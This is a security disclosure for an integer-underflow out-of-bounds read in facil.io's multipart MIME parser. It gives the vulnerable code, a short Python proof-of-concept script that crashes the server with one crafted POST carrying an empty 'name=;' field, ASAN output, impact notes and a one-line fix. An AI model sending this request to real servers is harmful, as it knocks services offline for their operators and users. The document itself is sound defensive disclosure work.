Security Disclosure: Out-of-Bounds Read in facil.io MIME Parser leads to Server crash

Assigned CVE ID CVE-2026-66729

Product: facil.io
Affected versions: facil.io >= 0.6.0 (all 0.6.x, all 0.7.x, master); introduced when the MIME parser was added in 0.6.0
Component: lib/facil/http/parsers/http_mime_parser.h
CWE: CWE-191 (Integer Underflow), CWE-125 (Out-of-Bounds Read)
CVSS v3.1: 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)
Researcher: Theodosis Paidakis

Summary

A uint32_t underflow in the multipart MIME body parser causes an out-of-bounds read when a Content-Disposition header contains an empty field name (name=;). When name_len is zero, name[name_len - 1] wraps to name[0xFFFFFFFF], reading approximately 4 GB past the name pointer. This faults and crashes the server process. One unauthenticated POST request is sufficient.

Root cause

lib/facil/http/parsers/http_mime_parser.h, lines 235-241

// lib/facil/http/parsers/http_mime_parser.h:235-241
} else {
    name_len = (size_t)(start - name);   // line 239: = 0 when start == name (e.g. "name=;")
}
if (name[name_len - 1] == '"')           // line 241: (uint32_t)0 - 1 = 0xFFFFFFFF -> OOB read
    --name_len;

name_len is declared as uint32_t. With input name=;, memchr finds ; at the same position as name, so start - name = 0. Subtracting 1 from a zero uint32_t wraps to 0xFFFFFFFF. The expression name[0xFFFFFFFF] computes name_ptr + 4294967295, which is far outside any mapped region.

The check at line 236 (name[name_len - 1] == '\r') in the other branch has the same pattern, but name_len is computed as end - name there and is not zero in practice.

Proof of concept

Start the server, then run:

# poc_mime_oob_read.py
import socket

BOUNDARY = "B"
body = (
    "--B\r\n"
    "Content-Disposition: form-data; name=;\r\n"  # empty name before semicolon
    "\r\n"
    "value\r\n"
    "--B--\r\n"
).encode()

req = (
    f"POST / HTTP/1.1\r\nHost: 127.0.0.1\r\n"
    f"Content-Type: multipart/form-data; boundary=B\r\n"
    f"Content-Length: {len(body)}\r\nConnection: close\r\n\r\n"
).encode() + body

s = socket.socket()
s.connect(("127.0.0.1", 3000))
s.sendall(req)
print(s.recv(4096))  # no response — server crashed
print('Check the server')

ASAN output (confirmed):

AddressSanitizer: BUS at http_mime_parser.h:241
x[10] = 0x00000000FFFFFFFF

Impact

A single request crashes the worker process. In multi-worker deployments only the handling worker dies; the master respawns it. In single-worker mode the server goes offline. The read faults before data is returned, so information disclosure is not demonstrated.

Fix

lib/facil/http/parsers/http_mime_parser.h, line 241

// lib/facil/http/parsers/http_mime_parser.h:241 — add zero guard
if (name_len > 0 && name[name_len - 1] == '"')
    --name_len;